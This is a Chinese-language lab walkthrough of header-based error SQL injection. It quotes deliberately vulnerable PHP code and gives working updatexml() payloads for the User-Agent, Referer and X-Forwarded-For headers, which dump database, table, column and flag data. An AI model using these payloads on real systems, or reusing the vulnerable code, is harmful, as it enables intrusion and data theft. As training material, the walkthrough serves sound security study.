SQL注入显错注入-HEAD

0x00 head注入

head注入 显错注入 数据库报错有很多种 有一些是致命的,有一些是简单报错 使用 update(目标xml内容,xml文档里的路径,更新的内容) updatexml(1,concat(0x7e,(select database())),1),1) >=0x是十六进制 (select database是一个子查询) 0x7e代表 ~号

16进制永远不能当代码执行, 只能转换值(字符串)

主要看 插入sql 插入语句的构成

  $Insql = “INSRT INTO UAGENT (‘uagent’,’username’) values (‘$uagent’,’$uname’)” => — qwe

我们可以看到这里是有2个变量,所以要写2个占位符所以后面需要+ ,1)
updatexml(1,concat(ox7e,(select database())),1),1)

实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合规则然后报错了

0x01 靶场练习

靶场练习:封神台靶场

Pass-07

本关正确密码

admin/123456

$username = $_POST['username']; //将获取 POST 方式传参的usename赋值给$username
$password = $_POST['password'];
$uagent = $_SERVER['HTTP_USER_AGENT']; // $_SERVER php超全局变量
$_SERVER['HTTP_USER_AGENT'] 获取用户信息,浏览器 UA标识、操作系统
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';// 过滤了单引号
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性,禁止输入某些特定符号');}
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')";// 插入语句 2个字段
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';

查询库名

在 burp 替换

User_Agent:的数据,把注入的参数带入

User_Agent:1'or updatexml(1,concat(0x7e,(select database())),1),1)-- qwe
1'or updatexml(1,concat(0x7e,(select database())),1),1)-- qwe

SQL注入显错注入-HEAD1_字段

SQL注入显错注入-HEAD1_网站安全_02

查表名

'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1),1)-- qwe
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1),1)-- qwe

SQL注入显错注入-HEAD1_mysql_03

存在5个表

~flag_head,ip,refer,uagent,user'

查字段

'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database())),1),1)#

SQL注入显错注入-HEAD1_sql_04

存在 7个字段

~Id,flag_h1,Id,ip,username,Id,re

查看flag_h1字段数据

'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1)#

SQL注入显错注入-HEAD1_xml_05

zKaQ-YourHd,zKaQ-Refer,zKaQ-ipi

Pass-08

核心代码

SQL注入显错注入-HEAD1_mysql_06

HTTP_REFERER //获取从哪里发起请求

SQL注入显错注入-HEAD1_xml_07

SQL语句代码 和上个一样只是过滤了单引号

测试方法:

在burp中新写一个 REFEER:写入sql注入语句

REFERER:'or updatexml(1,concat(0x7e,(select database())),1),1)#

SQL注入显错注入-HEAD1_mysql_08

 

获取到了 库名 head-error

获取表名

flag_head,ip,refer,uagent,user

'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1),1)#

SQL注入显错注入-HEAD1_xml_09

获取字段

'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="flag_head")),1),1)#

SQL注入显错注入-HEAD1_xml_10

获取 flag 字段的内容

'or updatexml(1,concat(0x7e,(select flag from flag_head)),1),1)#

SQL注入显错注入-HEAD1_xml_11

Pass-09

核心代码

function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
$username = $_POST['username'];
$password = $_POST['password'];
$ip = getip();
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性,禁止输入某些特定符号');}
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO ip (`ip`,`username`) VALUES ('$ip','$uname')";
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';

源码里面对X_FORWARDED_FOR 没坐任何过滤

复现代码步骤和上诉相同

X_FORWARDED_FOR:'or updatexml(1,concat(0x7e,(select database())),1),1)#
X_FORWARDED_FOR:'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1),1)#
X_FORWARDED_FOR:'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="flag_head")),1),1)#
X_FORWARDED_FOR:'or updatexml(1,concat(0x7e,(select flag from flag_head)),1),1)#